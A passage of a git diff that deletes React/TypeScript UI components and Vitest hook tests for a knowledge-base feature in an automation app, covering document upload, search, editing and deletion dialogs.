-import useKnowledgeBaseDropdownMenu from '@/pages/automation/knowledge-base/components/hooks/useKnowledgeBaseDropdownMenu';
-import {KnowledgeBase} from '@/shared/middleware/graphql';
-import {EditIcon, EllipsisVerticalIcon, Trash2Icon} from 'lucide-react';
-
-interface KnowledgeBaseDropdownMenuProps {
-    knowledgeBase: KnowledgeBase;
-}
-
-const KnowledgeBaseDropdownMenu = ({knowledgeBase}: KnowledgeBaseDropdownMenuProps) => {
-    const {
-        handleCloseDeleteDialog,
-        handleCloseEditDialog,
-        handleShowDeleteDialog,
-        handleShowEditDialog,
-        showDeleteDialog,
-        showEditDialog,
-    } = useKnowledgeBaseDropdownMenu();
-
-    return (
-        <>
-            <DropdownMenu>
-                <DropdownMenuTrigger asChild>
-                    <Button
-                        aria-label="More Knowledge Base Actions"
-                        icon={<EllipsisVerticalIcon />}
-                        size="icon"
-                        variant="ghost"
-                    />
-                </DropdownMenuTrigger>
-
-                <DropdownMenuContent align="end" className="p-0">
-                    <DropdownMenuItem className="dropdown-menu-item" onClick={handleShowEditDialog}>
-                        <EditIcon /> Edit
-                    </DropdownMenuItem>
-
-                    <DropdownMenuSeparator className="m-0" />
-
-                    <DropdownMenuItem className="dropdown-menu-item-destructive" onClick={handleShowDeleteDialog}>
-                        <Trash2Icon /> Delete
-                    </DropdownMenuItem>
-                </DropdownMenuContent>
-            </DropdownMenu>
-
-            <EditKnowledgeBaseDialog
-                knowledgeBase={knowledgeBase}
-                onOpenChange={handleCloseEditDialog}
-                open={showEditDialog}
-            />
-
-            <KnowledgeBaseDeleteAlertDialog
-                knowledgeBaseId={knowledgeBase.id}
-                onClose={handleCloseDeleteDialog}
-                open={showDeleteDialog}
-            />
-        </>
-    );
-};
-
-export default KnowledgeBaseDropdownMenu;
diff --git a/client/src/pages/automation/knowledge-base/components/KnowledgeBaseHeader.tsx b/client/src/pages/automation/knowledge-base/components/KnowledgeBaseHeader.tsx
deleted file mode 100644
index 7089419aa8d..00000000000
--- a/client/src/pages/automation/knowledge-base/components/KnowledgeBaseHeader.tsx
+++ /dev/null
@@ -1,32 +0,0 @@
-import Button from '@/components/Button/Button';
-import Header from '@/shared/layout/Header';
-import {ArrowLeftIcon} from 'lucide-react';
-
-interface KnowledgeBaseHeaderProps {
-    knowledgeBaseName: string | undefined;
-    onBackClick: () => void;
-}
-
-const KnowledgeBaseHeader = ({knowledgeBaseName, onBackClick}: KnowledgeBaseHeaderProps) => {
-    return (
-        <Header
-            centerTitle
-            position="main"
-            title={
-                <div className="flex items-center space-x-2">
-                    <Button
-                        aria-label="Back"
-                        icon={<ArrowLeftIcon className="size-5" />}
-                        onClick={onBackClick}
-                        size="icon"
-                        variant="ghost"
-                    />
-
-                    <span>{knowledgeBaseName || 'Loading...'}</span>
-                </div>
-            }
-        />
-    );
-};
-
-export default KnowledgeBaseHeader;
diff --git a/client/src/pages/automation/knowledge-base/components/KnowledgeBaseInfoCard.tsx b/client/src/pages/automation/knowledge-base/components/KnowledgeBaseInfoCard.tsx
deleted file mode 100644
index 04b00864263..00000000000
--- a/client/src/pages/automation/knowledge-base/components/KnowledgeBaseInfoCard.tsx
+++ /dev/null
@@ -1,49 +0,0 @@
-import KnowledgeBaseDropdownMenu from '@/pages/automation/knowledge-base/components/KnowledgeBaseDropdownMenu';
-import {KnowledgeBase, KnowledgeBaseDocument} from '@/shared/middleware/graphql';
-import {DatabaseIcon} from 'lucide-react';
-
-interface KnowledgeBaseInfoCardProps {
-    knowledgeBase: KnowledgeBase & {documents: KnowledgeBaseDocument[]};
-}
-
-const KnowledgeBaseInfoCard = ({knowledgeBase}: KnowledgeBaseInfoCardProps) => {
-    return (
-        <div className="mb-4 rounded-lg border border-gray-200 bg-white p-4">
-            <div className="flex items-center justify-between">
-                <div className="flex items-center space-x-2">
-                    <DatabaseIcon className="size-5 text-gray-400" />
-
-                    <h2 className="text-lg font-semibold">{knowledgeBase.name}</h2>
-                </div>
-
-                <KnowledgeBaseDropdownMenu knowledgeBase={knowledgeBase} />
-            </div>
-
-            {knowledgeBase.description && <p className="mt-2 text-sm text-gray-500">{knowledgeBase.description}</p>}
-
-            <div className="mt-4 flex space-x-6 text-sm text-gray-500">
-                <div>
-                    <span className="font-medium">Documents: </span>
-
-                    <span>{knowledgeBase.documents?.length || 0}</span>
-                </div>
-
-                <div>
-                    <span className="font-medium">Chunk Size: </span>
-
-                    <span>
-                        {knowledgeBase.minChunkSizeChars}-{knowledgeBase.maxChunkSize}
-                    </span>
-                </div>
-
-                <div>
-                    <span className="font-medium">Overlap: </span>
-
-                    <span>{knowledgeBase.overlap}</span>
-                </div>
-            </div>
-        </div>
-    );
-};
-
-export default KnowledgeBaseInfoCard;
diff --git a/client/src/pages/automation/knowledge-base/components/KnowledgeBaseLeftSidebarNav.tsx b/client/src/pages/automation/knowledge-base/components/KnowledgeBaseLeftSidebarNav.tsx
deleted file mode 100644
index 640838caae5..00000000000
--- a/client/src/pages/automation/knowledge-base/components/KnowledgeBaseLeftSidebarNav.tsx
+++ /dev/null
@@ -1,37 +0,0 @@
-import useKnowledgeBaseLeftSidebarNav from '@/pages/automation/knowledge-base/components/hooks/useKnowledgeBaseLeftSidebarNav';
-import {LeftSidebarNav, LeftSidebarNavItem} from '@/shared/layout/LeftSidebarNav';
-import {DatabaseIcon} from 'lucide-react';
-
-const KnowledgeBaseLeftSidebarNav = () => {
-    const {currentKnowledgeBaseId, isLoading, knowledgeBases} = useKnowledgeBaseLeftSidebarNav();
-
-    return (
-        <LeftSidebarNav
-            body={
-                !isLoading && (
-                    <>
-                        {knowledgeBases.length ? (
-                            knowledgeBases.map((knowledgeBase) => (
-                                <LeftSidebarNavItem
-                                    icon={<DatabaseIcon className="mr-1 size-4" />}
-                                    item={{
-                                        current: knowledgeBase.id === currentKnowledgeBaseId,
-                                        id: knowledgeBase.id,
-                                        name: knowledgeBase.name,
-                                    }}
-                                    key={knowledgeBase.id}
-                                    toLink={`/automation/knowledge-bases/${knowledgeBase.id}`}
-                                />
-                            ))
-                        ) : (
-                            <span className="px-3 text-xs">No knowledge bases.</span>
-                        )}
-                    </>
-                )
-            }
-            title="Knowledge Bases"
-        />
-    );
-};
-
-export default KnowledgeBaseLeftSidebarNav;
diff --git a/client/src/pages/automation/knowledge-base/components/KnowledgeBaseSearchInterface.tsx b/client/src/pages/automation/knowledge-base/components/KnowledgeBaseSearchInterface.tsx
deleted file mode 100644
index 469a4174276..00000000000
--- a/client/src/pages/automation/knowledge-base/components/KnowledgeBaseSearchInterface.tsx
+++ /dev/null
@@ -1,149 +0,0 @@
-import Button from '@/components/Button/Button';
-import {Input} from '@/components/ui/input';
-import {Label} from '@/components/ui/label';
-import useKnowledgeBaseSearchInterface from '@/pages/automation/knowledge-base/components/hooks/useKnowledgeBaseSearchInterface';
-import {SearchIcon} from 'lucide-react';
-import {useMemo} from 'react';
-
-interface KnowledgeBaseSearchInterfaceProps {
-    knowledgeBaseId: string;
-}
-
-const KnowledgeBaseSearchInterface = ({knowledgeBaseId}: KnowledgeBaseSearchInterfaceProps) => {
-    const {
-        canSearch,
-        handleClearSearch,
-        handleSearch,
-        isLoading,
-        metadataFilters,
-        query,
-        results,
-        searchQuery,
-        setMetadataFilters,
-        setQuery,
-    } = useKnowledgeBaseSearchInterface({knowledgeBaseId});
-
-    const resultsWithChunkIndex = useMemo(() => {
-        const documentChunkCounts: Record<string, number> = {};
-
-        return results.map((result, index) => {
-            const documentName = String((result.metadata as Record<string, unknown>)?.file_name ?? 'Unknown');
-
-            documentChunkCounts[documentName] = (documentChunkCounts[documentName] ?? 0) + 1;
-
-            return {
-                chunkIndex: documentChunkCounts[documentName],
-                documentName,
-                index,
-                result,
-            };
-        });
-    }, [results]);
-
-    const renderSearchResults = () => {
-        if (results.length === 0) {
-            return (
-                <div className="rounded-lg border border-gray-200 bg-gray-50 p-8 text-center">
-                    <p className="text-gray-500">No results found for your query.</p>
-                </div>
-            );
-        }
-
-        return resultsWithChunkIndex.map(({chunkIndex, documentName, index, result}) => (
-            <div
-                className="rounded-lg border border-gray-200 bg-white p-4 transition-shadow hover:shadow-md"
-                key={result.id}
-            >
-                <div className="mb-2 flex items-center justify-between">
-                    <div className="flex items-center space-x-2 text-sm text-gray-500">
-                        <span className="font-medium">Result {index + 1}</span>
-
-                        <span>•</span>
-
-                        <span className="font-medium">{documentName}</span>
-
-                        <span>•</span>
-
-                        <span>Chunk {chunkIndex}</span>
-
-                        {result.score != null && (
-                            <>
-                                <span>•</span>
-
-                                <span className="font-medium text-blue-600">
-                                    Score: {(result.score * 100).toFixed(1)}%
-                                </span>
-                            </>
-                        )}
-                    </div>
-                </div>
-
-                <p className="text-sm leading-relaxed text-gray-700">{result.content}</p>
-
-                {result.metadata && (
-                    <div className="mt-3 rounded-md bg-gray-50 p-2 text-xs text-gray-600">
-                        <span className="font-medium">Metadata: </span>
-
-                        <pre className="mt-1 overflow-x-auto">
-                            <code>{JSON.stringify(result.metadata, null, 2)}</code>
-                        </pre>
-                    </div>
-                )}
-            </div>
-        ));
-    };
-
-    return (
-        <div className="space-y-4">
-            <form className="space-y-4 rounded-lg border border-gray-200 bg-white p-4" onSubmit={handleSearch}>
-                <fieldset className="space-y-4 border-0">
-                    <div className="space-y-2">
-                        <Label htmlFor="query">Search Query</Label>
-
-                        <div className="flex space-x-2">
-                            <Input
-                                id="query"
-                                onChange={(event) => setQuery(event.target.value)}
-                                placeholder="Enter your search query..."
-                                value={query}
-                            />
-
-                            <Button disabled={isLoading || !canSearch} type="submit">
-                                <SearchIcon className="mr-2 size-4" />
-
-                                {isLoading ? 'Searching...' : 'Search'}
-                            </Button>
-                        </div>
-                    </div>
-
-                    <div className="space-y-2">
-                        <Label htmlFor="filters">Metadata Filters (JSON, optional)</Label>
-
-                        <Input
-                            id="filters"
-                            onChange={(event) => setMetadataFilters(event.target.value)}
-                            placeholder='{"category": "documentation"}'
-                            value={metadataFilters}
-                        />
-                    </div>
-                </fieldset>
-
-                {searchQuery && (
-                    <div className="flex items-center justify-between border-t border-gray-200 pt-4">
-                        <p className="text-sm text-gray-500">
-                            Found {results.length} result{results.length !== 1 ? 's' : ''}
-                        </p>
-
-                        <Button onClick={handleClearSearch} size="sm" variant="outline">
-                            Clear Search
-                        </Button>
-                    </div>
-                )}
-            </form>
-
-            {searchQuery && <div className="space-y-2">{renderSearchResults()}</div>}
-        </div>
-    );
-};
-
-export default KnowledgeBaseSearchInterface;
diff --git a/client/src/pages/automation/knowledge-base/components/KnowledgeBaseTabs.tsx b/client/src/pages/automation/knowledge-base/components/KnowledgeBaseTabs.tsx
deleted file mode 100644
index e198b5b9f15..00000000000
--- a/client/src/pages/automation/knowledge-base/components/KnowledgeBaseTabs.tsx
+++ /dev/null
@@ -1,43 +0,0 @@
-import {Tabs, TabsContent, TabsList, TabsTrigger} from '@/components/ui/tabs';
-import KnowledgeBaseSearchInterface from '@/pages/automation/knowledge-base/components/KnowledgeBaseSearchInterface';
-import UploadKnowledgeBaseDocumentDialog from '@/pages/automation/knowledge-base/components/UploadKnowledgeBaseDocumentDialog';
-import KnowledgeBaseDocumentList from '@/pages/automation/knowledge-base/components/knowledge-base-document-list/KnowledgeBaseDocumentList';
-import {KnowledgeBaseDocument} from '@/shared/middleware/graphql';
-import {FileTextIcon, SearchIcon} from 'lucide-react';
-
-interface KnowledgeBaseTabsProps {
-    documents: KnowledgeBaseDocument[];
-    knowledgeBaseId: string;
-}
-
-const KnowledgeBaseTabs = ({documents, knowledgeBaseId}: KnowledgeBaseTabsProps) => {
-    return (
-        <Tabs className="flex-1" defaultValue="documents">
-            <div className="mb-4 flex items-center justify-between">
-                <TabsList>
-                    <TabsTrigger value="documents">
-                        <FileTextIcon className="mr-2 size-4" />
-                        Documents
-                    </TabsTrigger>
-
-                    <TabsTrigger value="search">
-                        <SearchIcon className="mr-2 size-4" />
-                        Search
-                    </TabsTrigger>
-                </TabsList>
-
-                <UploadKnowledgeBaseDocumentDialog knowledgeBaseId={knowledgeBaseId} />
-            </div>
-
-            <TabsContent className="flex-1" value="documents">
-                <KnowledgeBaseDocumentList documents={documents} knowledgeBaseId={knowledgeBaseId} />
-            </TabsContent>
-
-            <TabsContent className="flex-1" value="search">
-                <KnowledgeBaseSearchInterface knowledgeBaseId={knowledgeBaseId} />
-            </TabsContent>
-        </Tabs>
-    );
-};
-
-export default KnowledgeBaseTabs;
diff --git a/client/src/pages/automation/knowledge-base/components/UploadKnowledgeBaseDocumentDialog.tsx b/client/src/pages/automation/knowledge-base/components/UploadKnowledgeBaseDocumentDialog.tsx
deleted file mode 100644
index d61bcba1a42..00000000000
--- a/client/src/pages/automation/knowledge-base/components/UploadKnowledgeBaseDocumentDialog.tsx
+++ /dev/null
@@ -1,190 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    Dialog,
-    DialogCloseButton,
-    DialogContent,
-    DialogDescription,
-    DialogFooter,
-    DialogHeader,
-    DialogTitle,
-    DialogTrigger,
-} from '@/components/ui/dialog';
-import useUploadKnowledgeBaseDocumentDialog from '@/pages/automation/knowledge-base/components/hooks/useUploadKnowledgeBaseDocumentDialog';
-import {Loader2Icon, UploadIcon, XIcon} from 'lucide-react';
-import {ReactNode} from 'react';
-import {twMerge} from 'tailwind-merge';
-
-const SELECTED_FILES_MAX_HEIGHT = 250;
-
-interface UploadKnowledgeBaseDocumentDialogProps {
-    knowledgeBaseId: string;
-    trigger?: ReactNode;
-}
-
-const UploadKnowledgeBaseDocumentDialog = ({knowledgeBaseId, trigger}: UploadKnowledgeBaseDocumentDialogProps) => {
-    const {
-        canSubmit,
-        formatFileSize,
-        handleFileChange,
-        handleOpenChange,
-        handleSubmit,
-        open,
-        removeFile,
-        selectedFiles,
-        uploading,
-    } = useUploadKnowledgeBaseDocumentDialog({knowledgeBaseId});
-
-    const defaultTrigger = (
-        <Button size="sm">
-            <UploadIcon className="mr-2 size-4" />
-            Upload Document
-        </Button>
-    );
-
-    return (
-        <Dialog onOpenChange={handleOpenChange} open={open}>
-            <DialogTrigger asChild>{trigger || defaultTrigger}</DialogTrigger>
-
-            <DialogContent className="sm:max-w-[600px]">
-                <DialogHeader className="flex flex-row items-center justify-between space-y-0">
-                    <div className="flex flex-col space-y-1">
-                        <DialogTitle>Upload Documents</DialogTitle>
-
-                        <DialogDescription>
-                            Upload documents to be processed and indexed in the knowledge base.
-                        </DialogDescription>
-                    </div>
-
-                    <DialogCloseButton />
-                </DialogHeader>
-
-                <div className="space-y-4 py-4">
-                    <fieldset className="space-y-2 border-0">
-                        <label className="text-sm font-medium" htmlFor="document-file-upload">
-                            Select Files
-                        </label>
-
-                        <div
-                            className={twMerge(
-                                'flex cursor-pointer flex-col items-center justify-center rounded-lg border-2 border-dashed border-gray-300 p-6 hover:bg-gray-50',
-                                uploading && 'cursor-not-allowed opacity-50'
-                            )}
-                        >
-                            <label className="flex cursor-pointer flex-col items-center" htmlFor="document-file-upload">
-                                <UploadIcon className="mb-2 size-8 text-gray-400" />
-
-                                <span className="text-sm text-gray-600">Click to browse files</span>
-
-                                <span className="mt-1 text-xs text-gray-400">
-                                    Supported: PDF, DOC, DOCX, TXT, CSV, XLS, XLSX, MD, PPT, PPTX, HTML
-                                </span>
-                            </label>
-
-                            <input
-                                accept=".pdf,.doc,.docx,.txt,.csv,.xls,.xlsx,.md,.ppt,.pptx,.html,.htm"
-                                className="hidden"
-                                disabled={uploading}
-                                id="document-file-upload"
-                                multiple
-                                onChange={handleFileChange}
-                                type="file"
-                            />
-                        </div>
-                    </fieldset>
-
-                    {selectedFiles.length > 0 && (
-                        <fieldset className="space-y-2 border-0">
-                            <span className="text-sm font-medium">Selected Files ({selectedFiles.length})</span>
-
-                            <div
-                                className="space-y-2 overflow-y-auto"
-                                style={{maxHeight: `${SELECTED_FILES_MAX_HEIGHT}px`}}
-                            >
-                                {selectedFiles.map((selectedFile, selectedFileIndex) => (
-                                    <div
-                                        className="flex items-center justify-between rounded-md border border-gray-200 bg-gray-50 p-2 px-3"
-                                        key={`${selectedFile.file.name}-${selectedFile.file.size}-${selectedFile.file.lastModified}`}
-                                    >
-                                        <div className="flex flex-1 items-center space-x-2 overflow-hidden">
-                                            <span className="truncate text-sm font-medium">
-                                                {selectedFile.file.name}
-                                            </span>
-
-                                            <span className="text-xs text-gray-400">
-                                                {formatFileSize(selectedFile.file.size)}
-                                            </span>
-                                        </div>
-
-                                        <div className="ml-2 flex items-center space-x-2">
-                                            {selectedFile.status === 'uploading' && (
-                                                <div className="flex items-center space-x-2">
-                                                    <span className="text-xs text-gray-400">Uploading...</span>
-
-                                                    <Loader2Icon className="size-4 animate-spin text-gray-400" />
-                                                </div>
-                                            )}
-
-                                            {selectedFile.status === 'completed' && (
-                                                <div className="flex size-4 items-center justify-center rounded-full bg-green-500">
-                                                    <svg
-                                                        className="size-3 text-white"
-                                                        fill="none"
-                                                        stroke="currentColor"
-                                                        viewBox="0 0 24 24"
-                                                    >
-                                                        <path
-                                                            d="M5 13l4 4L19 7"
-                                                            strokeLinecap="round"
-                                                            strokeLinejoin="round"
-                                                            strokeWidth="2"
-                                                        />
-                                                    </svg>
-                                                </div>
-                                            )}
-
-                                            {selectedFile.status === 'error' && (
-                                                <div className="flex items-center space-x-2">
-                                                    <span className="text-xs text-red-500">
-                                                        {selectedFile.statusMessage || 'Error'}
-                                                    </span>
-                                                </div>
-                                            )}
-
-                                            {!uploading && (
-                                                <Button
-                                                    aria-label={`Remove ${selectedFile.file.name}`}
-                                                    className="rounded-full hover:bg-gray-200"
-                                                    icon={<XIcon className="size-4 text-gray-500" />}
-                                                    onClick={(event) => {
-                                                        event.stopPropagation();
-                                                        removeFile(selectedFileIndex);
-                                                    }}
-                                                    size="iconXs"
-                                                    variant="ghost"
-                                                />
-                                            )}
-                                        </div>
-                                    </div>
-                                ))}
-                            </div>
-                        </fieldset>
-                    )}
-                </div>
-
-                <DialogFooter>
-                    <Button disabled={uploading} onClick={() => handleOpenChange(false)} variant="ghost">
-                        Cancel
-                    </Button>
-
-                    <Button disabled={!canSubmit || uploading} onClick={handleSubmit}>
-                        {uploading
-                            ? `Uploading ${selectedFiles.filter((selectedFile) => selectedFile.status === 'completed').length}/${selectedFiles.length}...`
-                            : 'Upload'}
-                    </Button>
-                </DialogFooter>
-            </DialogContent>
-        </Dialog>
-    );
-};
-
-export default UploadKnowledgeBaseDocumentDialog;
diff --git a/client/src/pages/automation/knowledge-base/components/hooks/tests/useEditKnowledgeBaseDialog.test.ts b/client/src/pages/automation/knowledge-base/components/hooks/tests/useEditKnowledgeBaseDialog.test.ts
deleted file mode 100644
index 1e4c7bbdecd..00000000000
--- a/client/src/pages/automation/knowledge-base/components/hooks/tests/useEditKnowledgeBaseDialog.test.ts
+++ /dev/null
@@ -1,304 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useEditKnowledgeBaseDialog from '../useEditKnowledgeBaseDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        invalidateQueries: vi.fn(),
-        mutate: vi.fn(),
-        toast: vi.fn(),
-    };
-});
-
-vi.mock('@/hooks/use-toast', () => ({
-    useToast: vi.fn(() => ({
-        toast: hoisted.toast,
-    })),
-}));
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: vi.fn(() => ({
-        invalidateQueries: hoisted.invalidateQueries,
-    })),
-}));
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useUpdateKnowledgeBaseMutation: vi.fn(() => ({
-        isPending: false,
-        mutate: hoisted.mutate,
-    })),
-}));
-
-const mockKnowledgeBase = {
-    description: 'Test description',
-    id: 'kb-1',
-    maxChunkSize: 1024,
-    minChunkSizeChars: 1,
-    name: 'Test KB',
-    overlap: 200,
-};
-
-describe('useEditKnowledgeBaseDialog', () => {
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('initial state', () => {
-        it('initializes with knowledge base name', () => {
-            const {result} = renderHook(() =>
-                useEditKnowledgeBaseDialog({
-                    knowledgeBase: mockKnowledgeBase,
-                })
-            );
-
-            expect(result.current.name).toBe('Test KB');
-        });
-
-        it('initializes with knowledge base description', () => {
-            const {result} = renderHook(() =>
-                useEditKnowledgeBaseDialog({
-                    knowledgeBase: mockKnowledgeBase,
-                })
-            );
-
-            expect(result.current.description).toBe('Test description');
-        });
-
-        it('initializes with empty description when null', () => {
-            const {result} = renderHook(() =>
-                useEditKnowledgeBaseDialog({
-                    knowledgeBase: {...mockKnowledgeBase, description: null},
-                })
-            );
-
-            expect(result.current.description).toBe('');
-        });
-
-        it('is closed by default in uncontrolled mode', () => {
-            const {result} = renderHook(() =>
-                useEditKnowledgeBaseDialog({
-                    knowledgeBase: mockKnowledgeBase,
-                })
-            );
-
-            expect(result.current.open).toBe(false);
-        });
-    });
-
-    describe('controlled mode', () => {
-        it('uses controlled open state', () => {
-            const {result} = renderHook(() =>
-                useEditKnowledgeBaseDialog({
-                    knowledgeBase: mockKnowledgeBase,
-                    open: true,
-                })
-            );
-
-            expect(result.current.open).toBe(true);
-        });
-    });
-
-    describe('handleNameChange', () => {
-        it('updates name', () => {
-            const {result} = renderHook(() =>
-                useEditKnowledgeBaseDialog({
-                    knowledgeBase: mockKnowledgeBase,
-                })
-            );
-
-            act(() => {
-                result.current.handleNameChange('New Name');
-            });
-
-            expect(result.current.name).toBe('New Name');
-        });
-    });
-
-    describe('handleDescriptionChange', () => {
-        it('updates description', () => {
-            const {result} = renderHook(() =>
-                useEditKnowledgeBaseDialog({
-                    knowledgeBase: mockKnowledgeBase,
-                })
-            );
-
-            act(() => {
-                result.current.handleDescriptionChange('New Description');
-            });
-
-            expect(result.current.description).toBe('New Description');
-        });
-    });
-
-    describe('handleOpenChange', () => {
-        it('updates internal open state in uncontrolled mode', () => {
-            const {result} = renderHook(() =>
-                useEditKnowledgeBaseDialog({
-                    knowledgeBase: mockKnowledgeBase,
-                })
-            );
-
-            act(() => {
-                result.current.handleOpenChange(true);
-            });
-
-            expect(result.current.open).toBe(true);
-        });
-
-        it('calls onOpenChange in controlled mode', () => {
-            const mockOnOpenChange = vi.fn();
-            const {result} = renderHook(() =>
-                useEditKnowledgeBaseDialog({
-                    knowledgeBase: mockKnowledgeBase,
-                    onOpenChange: mockOnOpenChange,
-                    open: true,
-                })
-            );
-
-            act(() => {
-                result.current.handleOpenChange(false);
-            });
-
-            expect(mockOnOpenChange).toHaveBeenCalledWith(false);
-        });
-    });
-
-    describe('handleCancel', () => {
-        it('closes dialog', () => {
-            const {result} = renderHook(() =>
-                useEditKnowledgeBaseDialog({
-                    knowledgeBase: mockKnowledgeBase,
-                })
-            );
-
-            act(() => {
-                result.current.handleOpenChange(true);
-            });
-
-            act(() => {
-                result.current.handleCancel();
-            });
-
-            expect(result.current.open).toBe(false);
-        });
-    });
-
-    describe('handleSave', () => {
-        it('calls mutation with updated values', () => {
-            const {result} = renderHook(() =>
-                useEditKnowledgeBaseDialog({
-                    knowledgeBase: mockKnowledgeBase,
-                })
-            );
-
-            act(() => {
-                result.current.handleNameChange('Updated Name');
-                result.current.handleDescriptionChange('Updated Description');
-            });
-
-            act(() => {
-                result.current.handleSave();
-            });
-
-            expect(hoisted.mutate).toHaveBeenCalledWith({
-                id: 'kb-1',
-                knowledgeBase: {
-                    description: 'Updated Description',
-                    maxChunkSize: 1024,
-                    minChunkSizeChars: 1,
-                    name: 'Updated Name',
-                    overlap: 200,
-                },
-            });
-        });
-
-        it('trims whitespace from name', () => {
-            const {result} = renderHook(() =>
-                useEditKnowledgeBaseDialog({
-                    knowledgeBase: mockKnowledgeBase,
-                })
-            );
-
-            act(() => {
-                result.current.handleNameChange('  Trimmed Name  ');
-            });
-
-            act(() => {
-                result.current.handleSave();
-            });
-
-            expect(hoisted.mutate).toHaveBeenCalledWith(
-                expect.objectContaining({
-                    knowledgeBase: expect.objectContaining({
-                        name: 'Trimmed Name',
-                    }),
-                })
-            );
-        });
-
-        it('sets description to undefined when empty', () => {
-            const {result} = renderHook(() =>
-                useEditKnowledgeBaseDialog({
-                    knowledgeBase: mockKnowledgeBase,
-                })
-            );
-
-            act(() => {
-                result.current.handleDescriptionChange('   ');
-            });
-
-            act(() => {
-                result.current.handleSave();
-            });
-
-            expect(hoisted.mutate).toHaveBeenCalledWith(
-                expect.objectContaining({
-                    knowledgeBase: expect.objectContaining({
-                        description: undefined,
-                    }),
-                })
-            );
-        });
-    });
-
-    describe('canSubmit', () => {
-        it('is true when name is not empty', () => {
-            const {result} = renderHook(() =>
-                useEditKnowledgeBaseDialog({
-                    knowledgeBase: mockKnowledgeBase,
-                })
-            );
-
-            expect(result.current.canSubmit).toBe(true);
-        });
-
-        it('is false when name is empty', () => {
-            const {result} = renderHook(() =>
-                useEditKnowledgeBaseDialog({
-                    knowledgeBase: mockKnowledgeBase,
-                })
-            );
-
-            act(() => {
-                result.current.handleNameChange('');
-            });
-
-            expect(result.current.canSubmit).toBe(false);
-        });
-
-        it('is false when name is only whitespace', () => {
-            const {result} = renderHook(() =>
-                useEditKnowledgeBaseDialog({
-                    knowledgeBase: mockKnowledgeBase,
-                })
-            );
-
-            act(() => {
-                result.current.handleNameChange('   ');
-            });
-
-            expect(result.current.canSubmit).toBe(false);
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/hooks/tests/useKnowledgeBaseDeleteAlertDialog.test.ts b/client/src/pages/automation/knowledge-base/components/hooks/tests/useKnowledgeBaseDeleteAlertDialog.test.ts
deleted file mode 100644
index b53dbc09359..00000000000
--- a/client/src/pages/automation/knowledge-base/components/hooks/tests/useKnowledgeBaseDeleteAlertDialog.test.ts
+++ /dev/null
@@ -1,143 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import useKnowledgeBaseDeleteAlertDialog from '../useKnowledgeBaseDeleteAlertDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        deleteMutate: vi.fn(),
-        invalidateQueries: vi.fn(),
-        navigate: vi.fn(),
-        toast: vi.fn(),
-    };
-});
-
-vi.mock('@/hooks/use-toast', () => ({
-    useToast: vi.fn(() => ({
-        toast: hoisted.toast,
-    })),
-}));
-
-vi.mock('react-router-dom', () => ({
-    useNavigate: vi.fn(() => hoisted.navigate),
-}));
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: vi.fn(() => ({
-        invalidateQueries: hoisted.invalidateQueries,
-    })),
-}));
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useDeleteKnowledgeBaseMutation: vi.fn((options: {onError: () => void; onSuccess: () => void}) => ({
-        isPending: false,
-        mutate: (vars: unknown) => {
-            hoisted.deleteMutate(vars);
-            options.onSuccess();
-        },
-    })),
-}));
-
-describe('useKnowledgeBaseDeleteAlertDialog', () => {
-    const mockOnClose = vi.fn();
-
-    beforeEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('handleDeleteClick', () => {
-        it('calls delete mutation with knowledge base id', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDeleteAlertDialog({
-                    knowledgeBaseId: 'kb-1',
-                    onClose: mockOnClose,
-                })
-            );
-
-            act(() => {
-                result.current.handleDeleteClick();
-            });
-
-            expect(hoisted.deleteMutate).toHaveBeenCalledWith({id: 'kb-1'});
-        });
-
-        it('calls onClose after delete', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDeleteAlertDialog({
-                    knowledgeBaseId: 'kb-1',
-                    onClose: mockOnClose,
-                })
-            );
-
-            act(() => {
-                result.current.handleDeleteClick();
-            });
-
-            expect(mockOnClose).toHaveBeenCalled();
-        });
-    });
-
-    describe('handleCancelClick', () => {
-        it('calls onClose', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDeleteAlertDialog({
-                    knowledgeBaseId: 'kb-1',
-                    onClose: mockOnClose,
-                })
-            );
-
-            act(() => {
-                result.current.handleCancelClick();
-            });
-
-            expect(mockOnClose).toHaveBeenCalled();
-        });
-    });
-
-    describe('on success', () => {
-        it('invalidates queries after delete', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDeleteAlertDialog({
-                    knowledgeBaseId: 'kb-1',
-                    onClose: mockOnClose,
-                })
-            );
-
-            act(() => {
-                result.current.handleDeleteClick();
-            });
-
-            expect(hoisted.invalidateQueries).toHaveBeenCalledWith({queryKey: ['knowledgeBases']});
-        });
-
-        it('shows success toast after delete', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDeleteAlertDialog({
-                    knowledgeBaseId: 'kb-1',
-                    onClose: mockOnClose,
-                })
-            );
-
-            act(() => {
-                result.current.handleDeleteClick();
-            });
-
-            expect(hoisted.toast).toHaveBeenCalledWith({description: 'Knowledge base deleted successfully.'});
-        });
-
-        it('navigates to knowledge bases list after delete', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseDeleteAlertDialog({
-                    knowledgeBaseId: 'kb-1',
-                    onClose: mockOnClose,
-                })
-            );
-
-            act(() => {
-                result.current.handleDeleteClick();
-            });
-
-            expect(hoisted.navigate).toHaveBeenCalledWith('/automation/knowledge-bases');
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-base/components/hooks/tests/useKnowledgeBaseDropdownMenu.test.ts b/client/src/pages/automation/knowledge-base/components/hooks/tests/useKnowledgeBaseDropdownMenu.test.ts
deleted file mode 100644
index 30c54f7e7ed..00000000000
--- a/client/src/pages/automation/knowledge-base/components/hooks/tests/useKnowledgeBaseDropdownMenu.test.ts
+++ /dev/null
@@ -1,76 +0,0 @@
-import {act, renderHook} from '@testing-library/react';
-import {describe, expect, it} from 'vitest';
-
